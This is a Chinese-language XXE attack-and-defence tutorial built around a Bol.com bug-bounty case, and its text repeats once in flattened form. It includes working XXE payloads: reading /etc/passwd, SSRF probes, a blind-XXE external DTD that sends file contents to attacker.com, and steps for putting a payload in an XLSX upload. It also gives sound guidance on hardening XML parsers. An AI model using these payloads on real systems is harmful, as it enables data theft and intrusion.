Bugbounty: 在Bol.com上的XXE漏洞
字数 1778 2025-08-26 22:11:34

XXE漏洞攻击与防御全面指南

1. XXE漏洞概述

XML外部实体(XXE)攻击是一种基于XML解析器的安全漏洞,攻击者通过精心构造的XML文档,利用XML解析器的外部实体扩展功能,实现以下攻击:

  • 本地文件包含(LFI):读取服务器上的敏感文件
  • 服务器端请求伪造(SSRF):访问内部网络资源
  • 远程代码执行(RCE):在服务器上执行任意代码
  • 拒绝服务攻击(DoS):通过加载大文件使服务器崩溃

2. XML基础知识

2.1 XML文档结构

<?xml version="1.0" encoding="UTF-8"?>
<note>
  <to>Tove</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note>

2.2 DTD(文档类型定义)与实体

<!DOCTYPE r [
  <!ELEMENT r ANY>
  <!ENTITY body "Don't forget me this weekend!">
]>

2.3 外部实体注入

<!ENTITY body SYSTEM "file:///etc/passwd">

3. XXE攻击技术详解

3.1 基本攻击方式

  1. 直接文件读取

    <?xml version="1.0"?>
    <!DOCTYPE data [
      <!ENTITY xxe SYSTEM "file:///etc/passwd">
    ]>
    <data>&xxe;</data>
    
  2. SSRF攻击

    <!ENTITY xxe SYSTEM "http://internal.server/">
    

3.2 盲注XXE技术

当响应不直接显示时,使用外部DTD泄漏数据:

  1. 攻击者服务器准备恶意DTD (sp2.dtd):

    <!ENTITY % d SYSTEM "file:///etc/passwd">
    <!ENTITY % c "<!ENTITY body SYSTEM 'ftp://attacker.com/%d;'>">
    
  2. 发送包含外部DTD引用的XML

    <?xml version="1.0"?>
    <!DOCTYPE data [
      <!ENTITY % a SYSTEM "http://attacker.com/sp2.dtd">
      %a;
      %c;
    ]>
    <data>&body;</data>
    

3.3 通过Excel文件(XLSX)进行XXE攻击

  1. XLSX文件本质上是包含XML文件的ZIP压缩包
  2. 攻击步骤:
    • 解压XLSX文件
    • 修改其中的XML文件(如sheet1.xml)添加恶意实体
    • 重新压缩为XLSX格式
    • 上传到目标系统

4. XXE攻击工具

4.1 XXEserv

一个简单的FTP/HTTP服务器,用于捕获XXE请求:

  • 监听FTP(21)和HTTP(80)端口
  • 显示所有传入请求
  • 特别适合处理包含特殊字符的数据泄漏

4.2 Buffalo工具

用于将XXE payload嵌入到各种文件格式中,包括:

  • 图片文件
  • 文档文件
  • 压缩文件

5. XXE漏洞挖掘实战

5.1 目标选择

  • 寻找允许文件上传的功能
  • 特别关注Excel/XML导入功能
  • 检查图片上传处理

5.2 测试步骤

  1. 寻找XML处理点
  2. 尝试基本XXE payload
  3. 如果无回显,尝试盲注技术
  4. 枚举服务器文件目录
  5. 尝试升级到RCE

5.3 高级技巧

  • 目录枚举file:///etc/可以列出目录内容
  • 云元数据检查:尝试访问云服务元数据端点
  • 配置文件读取:查找包含API密钥的配置文件

6. XXE漏洞防御

6.1 最佳实践

  1. 禁用DTD和外部实体

    // Java示例
    DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
    dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    
  2. 输入验证

    • 过滤或转义<!DOCTYPE<!ENTITY
    • 限制XML文档大小
  3. 使用更安全的数据格式

    • 优先使用JSON代替XML

6.2 各语言安全配置

语言/库 安全配置
Java (DocumentBuilderFactory) 设置disallow-doctype-decl, external-general-entities, external-parameter-entities为false
Python (lxml) 使用resolve_entities=False
PHP (libxml) 使用libxml_disable_entity_loader(true)
.NET 设置XmlReaderSettings.DtdProcessing = DtdProcessing.Prohibit

7. 漏洞危害评估

XXE漏洞可能导致:

  1. 信息泄露:读取服务器敏感文件
  2. 权限提升:获取系统访问权限
  3. 内部网络探测:SSRF攻击内部服务
  4. 拒绝服务:通过加载大资源使系统崩溃
  5. 远程代码执行:结合其他漏洞实现完全控制

8. 案例研究:Bol.com XXE漏洞

8.1 漏洞发现过程

  1. 目标:荷兰最大电商网站Bol.com的卖家门户
  2. 攻击面:Excel批量上传功能
  3. 技术细节:
    • 上传的XLSX文件包含XML
    • 修改sheet1.xml注入恶意实体
    • 服务器解析时读取/etc/passwd

8.2 漏洞利用

  1. 解压XLSX文件
  2. 编辑sheet1.xml添加:
    <!DOCTYPE r [
      <!ENTITY body SYSTEM "file:///etc/passwd">
    ]>
    
  3. 修改单元格引用为&body;
  4. 重新压缩上传

8.3 漏洞修复

Bol.com通过禁用XML解析器的外部实体支持修复了此漏洞

9. 总结

XXE漏洞虽然早在2002年就被发现,但由于XML的广泛使用和配置不当,至今仍然是常见的Web安全威胁。通过理解XXE的工作原理、攻击技术和防御措施,开发人员可以更好地保护应用程序,安全研究人员可以更有效地发现和报告此类漏洞。

XXE漏洞攻击与防御全面指南 1. XXE漏洞概述 XML外部实体(XXE)攻击是一种基于XML解析器的安全漏洞,攻击者通过精心构造的XML文档,利用XML解析器的外部实体扩展功能,实现以下攻击: 本地文件包含(LFI) :读取服务器上的敏感文件 服务器端请求伪造(SSRF) :访问内部网络资源 远程代码执行(RCE) :在服务器上执行任意代码 拒绝服务攻击(DoS) :通过加载大文件使服务器崩溃 2. XML基础知识 2.1 XML文档结构 2.2 DTD(文档类型定义)与实体 2.3 外部实体注入 3. XXE攻击技术详解 3.1 基本攻击方式 直接文件读取 : SSRF攻击 : 3.2 盲注XXE技术 当响应不直接显示时,使用外部DTD泄漏数据: 攻击者服务器准备恶意DTD (sp2.dtd): 发送包含外部DTD引用的XML : 3.3 通过Excel文件(XLSX)进行XXE攻击 XLSX文件本质上是包含XML文件的ZIP压缩包 攻击步骤: 解压XLSX文件 修改其中的XML文件(如sheet1.xml)添加恶意实体 重新压缩为XLSX格式 上传到目标系统 4. XXE攻击工具 4.1 XXEserv 一个简单的FTP/HTTP服务器,用于捕获XXE请求: 监听FTP(21)和HTTP(80)端口 显示所有传入请求 特别适合处理包含特殊字符的数据泄漏 4.2 Buffalo工具 用于将XXE payload嵌入到各种文件格式中,包括: 图片文件 文档文件 压缩文件 5. XXE漏洞挖掘实战 5.1 目标选择 寻找允许文件上传的功能 特别关注Excel/XML导入功能 检查图片上传处理 5.2 测试步骤 寻找XML处理点 尝试基本XXE payload 如果无回显,尝试盲注技术 枚举服务器文件目录 尝试升级到RCE 5.3 高级技巧 目录枚举 : file:///etc/ 可以列出目录内容 云元数据检查 :尝试访问云服务元数据端点 配置文件读取 :查找包含API密钥的配置文件 6. XXE漏洞防御 6.1 最佳实践 禁用DTD和外部实体 : 输入验证 : 过滤或转义 <!DOCTYPE 和 <!ENTITY 限制XML文档大小 使用更安全的数据格式 : 优先使用JSON代替XML 6.2 各语言安全配置 | 语言/库 | 安全配置 | |---------|---------| | Java (DocumentBuilderFactory) | 设置 disallow-doctype-decl , external-general-entities , external-parameter-entities 为false | | Python (lxml) | 使用 resolve_entities=False | | PHP (libxml) | 使用 libxml_disable_entity_loader(true) | | .NET | 设置 XmlReaderSettings.DtdProcessing = DtdProcessing.Prohibit | 7. 漏洞危害评估 XXE漏洞可能导致: 信息泄露 :读取服务器敏感文件 权限提升 :获取系统访问权限 内部网络探测 :SSRF攻击内部服务 拒绝服务 :通过加载大资源使系统崩溃 远程代码执行 :结合其他漏洞实现完全控制 8. 案例研究:Bol.com XXE漏洞 8.1 漏洞发现过程 目标:荷兰最大电商网站Bol.com的卖家门户 攻击面:Excel批量上传功能 技术细节: 上传的XLSX文件包含XML 修改sheet1.xml注入恶意实体 服务器解析时读取/etc/passwd 8.2 漏洞利用 解压XLSX文件 编辑sheet1.xml添加: 修改单元格引用为 &body; 重新压缩上传 8.3 漏洞修复 Bol.com通过禁用XML解析器的外部实体支持修复了此漏洞 9. 总结 XXE漏洞虽然早在2002年就被发现,但由于XML的广泛使用和配置不当,至今仍然是常见的Web安全威胁。通过理解XXE的工作原理、攻击技术和防御措施,开发人员可以更好地保护应用程序,安全研究人员可以更有效地发现和报告此类漏洞。